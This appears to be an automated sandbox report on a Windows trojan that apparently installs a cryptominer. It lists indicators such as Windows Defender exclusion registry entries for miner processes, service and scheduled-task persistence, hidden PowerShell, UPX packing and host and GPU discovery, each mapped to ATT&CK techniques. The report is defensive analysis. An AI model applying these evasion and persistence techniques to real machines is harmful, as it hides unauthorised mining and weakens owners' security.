40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa

Analysis

max time kernel
149s
max time network
137s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/11/2026, 14:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe
Size 497KB
Sample261107-rt2bjsyyhs
SHA256 40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa
MD5 8f66b94e8d3855e10e9d9b32ea1f54eb
SHA1 2b71c58baee241244a79eba9b9e19ad47e821537
SHA512 2e012def7d18c5dc4e78827d337568607bd290698f2f1996d4650344d742909084c07a5fa15ff057b21b6ea37adb066ebb96fdd6747b9eb2a9119b5d2b4ff351
SSDEEP 3072:4oAc8Ad/ITi7XJ1gqNrflj1cDual/+RiY6p0sTAzmBwNUdWGX+ceu+F+ScADcAsi:4oAcnd/ITczFNj1cnN+WcsBWWex0
TLSH
T112B420465E0BC8DDEBE2947460FAC4F492317D8C49E5908E2CD7B7E8A17C06E2167D2B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence trojan upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
676	powershell.exe
5260	powershell.exe
3772	powershell.exe
3188	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
7	4128	FleetComputeM4Service.exe
7	4128	FleetComputeM4Service.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 13 IoCs

pid	Process
4128	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
5284	FleetComputeM4Service.exe
5880	FleetComputeM4Service.exe
4656	updater.exe
2900	FleetComputeM4Service.exe
3372	fc-m4.exe
696	fc-m4.exe
4736	fc-m4.exe
5564	fc-m4.exe
5144	fc-m4.exe
3440	fc-m4.exe
4840	fc-m4.exe

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4 = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4\bin = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\FleetComputeM4Service.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\krig-miner.exe = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\fc-m4.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\bzminer.exe = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	FleetComputeM4Service.exe

Windows security modification 2 TTPs 11 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\bzminer.exe = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4 = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\FleetComputeM4Service.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\fc-m4.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\krig-miner.exe = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4\bin = "0"	FleetComputeM4Service.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000e00000001c47a-146.dat	upx
behavioral2/memory/3372-150-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp	upx
behavioral2/memory/696-156-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp	upx
behavioral2/memory/3372-155-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp	upx
behavioral2/memory/4736-157-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp	upx
behavioral2/memory/5564-166-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp	upx
behavioral2/memory/696-169-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp	upx
behavioral2/memory/3372-171-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp	upx
behavioral2/memory/5144-184-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp	upx
behavioral2/memory/4840-189-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp	upx
behavioral2/memory/3440-190-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp	upx
behavioral2/memory/5144-191-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp	upx

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_cjmbkrhd.fri.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ceirtkio.zr1.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3g3dzyln.n5i.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_a2padaq4.ssd.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3xbjqwcs.4nr.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3z4b0lwg.kzh.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_b3aq0w20.h5g.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_jkvclbpa.0bv.psm1	powershell.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5072	sc.exe
5448	sc.exe
4156	sc.exe
5804	sc.exe
4192	sc.exe
3708	sc.exe

Direct Volume Access: Opens a physical disk for reading 1 TTPs 7 IoCs

Opens a raw handle to a physical disk, which bypasses file system access controls and is used for disk inspection, anti-VM checks and privilege checks.

defense_evasion

Direct Volume Access

T1006

description	ioc	Process
File opened (read-only)	\??\PHYSICALDRIVE0	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	updater.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4780	cmd.exe
4964	cmd.exe
3324	cmd.exe
3552	cmd.exe
2416	cmd.exe
4816	cmd.exe
3936	cmd.exe
2096	cmd.exe
5736	cmd.exe
5132	cmd.exe
4312	cmd.exe
4324	cmd.exe
1260	cmd.exe
1400	cmd.exe
5400	cmd.exe
4752	cmd.exe
3520	cmd.exe
4856	cmd.exe
5716	cmd.exe
4200	cmd.exe
3040	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 14 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fc-m4.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4152	WMIC.exe
1828	WMIC.exe

Enumerates system info in registry 2 TTPs 14 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2864	schtasks.exe
3868	schtasks.exe
5084	schtasks.exe
1872	schtasks.exe
4292	schtasks.exe
4160	schtasks.exe
2180	schtasks.exe
2776	schtasks.exe
708	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4152	WMIC.exe
4152	WMIC.exe
4152	WMIC.exe
4152	WMIC.exe
1828	WMIC.exe
1828	WMIC.exe
1828	WMIC.exe
1828	WMIC.exe
3188	powershell.exe
3188	powershell.exe
3772	powershell.exe
3772	powershell.exe
3188	powershell.exe
3772	powershell.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
676	powershell.exe
676	powershell.exe
676	powershell.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
5260	powershell.exe
5260	powershell.exe
5260	powershell.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4868	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe
4128	FleetComputeM4Service.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeAssignPrimaryTokenPrivilege	4152	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4152	WMIC.exe
Token: SeSecurityPrivilege	4152	WMIC.exe
Token: SeTakeOwnershipPrivilege	4152	WMIC.exe
Token: SeLoadDriverPrivilege	4152	WMIC.exe
Token: SeSystemtimePrivilege	4152	WMIC.exe
Token: SeBackupPrivilege	4152	WMIC.exe
Token: SeRestorePrivilege	4152	WMIC.exe
Token: SeShutdownPrivilege	4152	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4152	WMIC.exe
Token: SeUndockPrivilege	4152	WMIC.exe
Token: SeManageVolumePrivilege	4152	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1828	WMIC.exe
Token: SeSecurityPrivilege	1828	WMIC.exe
Token: SeTakeOwnershipPrivilege	1828	WMIC.exe
Token: SeLoadDriverPrivilege	1828	WMIC.exe
Token: SeSystemProfilePrivilege	1828	WMIC.exe
Token: SeSystemtimePrivilege	1828	WMIC.exe
Token: SeProfSingleProcessPrivilege	1828	WMIC.exe
Token: SeIncBasePriorityPrivilege	1828	WMIC.exe
Token: SeCreatePagefilePrivilege	1828	WMIC.exe
Token: SeBackupPrivilege	1828	WMIC.exe
Token: SeRestorePrivilege	1828	WMIC.exe
Token: SeShutdownPrivilege	1828	WMIC.exe
Token: SeDebugPrivilege	1828	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1828	WMIC.exe
Token: SeRemoteShutdownPrivilege	1828	WMIC.exe
Token: SeUndockPrivilege	1828	WMIC.exe
Token: SeManageVolumePrivilege	1828	WMIC.exe
Token: 33	1828	WMIC.exe
Token: 34	1828	WMIC.exe
Token: 35	1828	WMIC.exe
Token: 36	1828	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	4152	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4152	WMIC.exe
Token: SeSecurityPrivilege	4152	WMIC.exe
Token: SeTakeOwnershipPrivilege	4152	WMIC.exe
Token: SeLoadDriverPrivilege	4152	WMIC.exe
Token: SeSystemtimePrivilege	4152	WMIC.exe
Token: SeBackupPrivilege	4152	WMIC.exe
Token: SeRestorePrivilege	4152	WMIC.exe
Token: SeShutdownPrivilege	4152	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4152	WMIC.exe
Token: SeUndockPrivilege	4152	WMIC.exe
Token: SeManageVolumePrivilege	4152	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1828	WMIC.exe
Token: SeSecurityPrivilege	1828	WMIC.exe
Token: SeTakeOwnershipPrivilege	1828	WMIC.exe
Token: SeLoadDriverPrivilege	1828	WMIC.exe
Token: SeSystemProfilePrivilege	1828	WMIC.exe
Token: SeSystemtimePrivilege	1828	WMIC.exe
Token: SeProfSingleProcessPrivilege	1828	WMIC.exe
Token: SeIncBasePriorityPrivilege	1828	WMIC.exe
Token: SeCreatePagefilePrivilege	1828	WMIC.exe
Token: SeBackupPrivilege	1828	WMIC.exe
Token: SeRestorePrivilege	1828	WMIC.exe
Token: SeShutdownPrivilege	1828	WMIC.exe
Token: SeDebugPrivilege	1828	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1828	WMIC.exe
Token: SeRemoteShutdownPrivilege	1828	WMIC.exe
Token: SeUndockPrivilege	1828	WMIC.exe
Token: SeManageVolumePrivilege	1828	WMIC.exe
Token: 33	1828	WMIC.exe
Token: 34	1828	WMIC.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 4816	2680	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	89
PID 4816 wrote to memory of 2864	4816	cmd.exe	91
PID 2680 wrote to memory of 3936	2680	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	93
PID 3936 wrote to memory of 1836	3936	cmd.exe	95
PID 2680 wrote to memory of 3520	2680	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	96
PID 3520 wrote to memory of 3868	3520	cmd.exe	99
PID 2680 wrote to memory of 4780	2680	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	100
PID 4780 wrote to memory of 5084	4780	cmd.exe	102
PID 2680 wrote to memory of 4856	2680	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	103
PID 4856 wrote to memory of 4156	4856	cmd.exe	105
PID 4128 wrote to memory of 4324	4128	FleetComputeM4Service.exe	108
PID 5284 wrote to memory of 5716	5284	FleetComputeM4Service.exe	110
PID 5716 wrote to memory of 2180	5716	cmd.exe	112
PID 5284 wrote to memory of 2096	5284	FleetComputeM4Service.exe	113
PID 2096 wrote to memory of 4192	2096	cmd.exe	116
PID 5284 wrote to memory of 1260	5284	FleetComputeM4Service.exe	117
PID 4868 wrote to memory of 4200	4868	FleetComputeM4Service.exe	119
PID 1260 wrote to memory of 3708	1260	cmd.exe	120
PID 5284 wrote to memory of 1400	5284	FleetComputeM4Service.exe	121
PID 1400 wrote to memory of 5072	1400	cmd.exe	124
PID 4324 wrote to memory of 2776	4324	cmd.exe	126
PID 4200 wrote to memory of 708	4200	cmd.exe	127
PID 4128 wrote to memory of 5400	4128	FleetComputeM4Service.exe	128
PID 4868 wrote to memory of 4964	4868	FleetComputeM4Service.exe	129
PID 4964 wrote to memory of 1872	4964	cmd.exe	132
PID 5400 wrote to memory of 4292	5400	cmd.exe	133
PID 4868 wrote to memory of 5736	4868	FleetComputeM4Service.exe	134
PID 4128 wrote to memory of 5132	4128	FleetComputeM4Service.exe	135
PID 5132 wrote to memory of 4152	5132	cmd.exe	138
PID 5736 wrote to memory of 1828	5736	cmd.exe	139
PID 4868 wrote to memory of 3772	4868	FleetComputeM4Service.exe	140
PID 4128 wrote to memory of 3188	4128	FleetComputeM4Service.exe	141
PID 2680 wrote to memory of 3324	2680	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	144
PID 3324 wrote to memory of 912	3324	cmd.exe	146
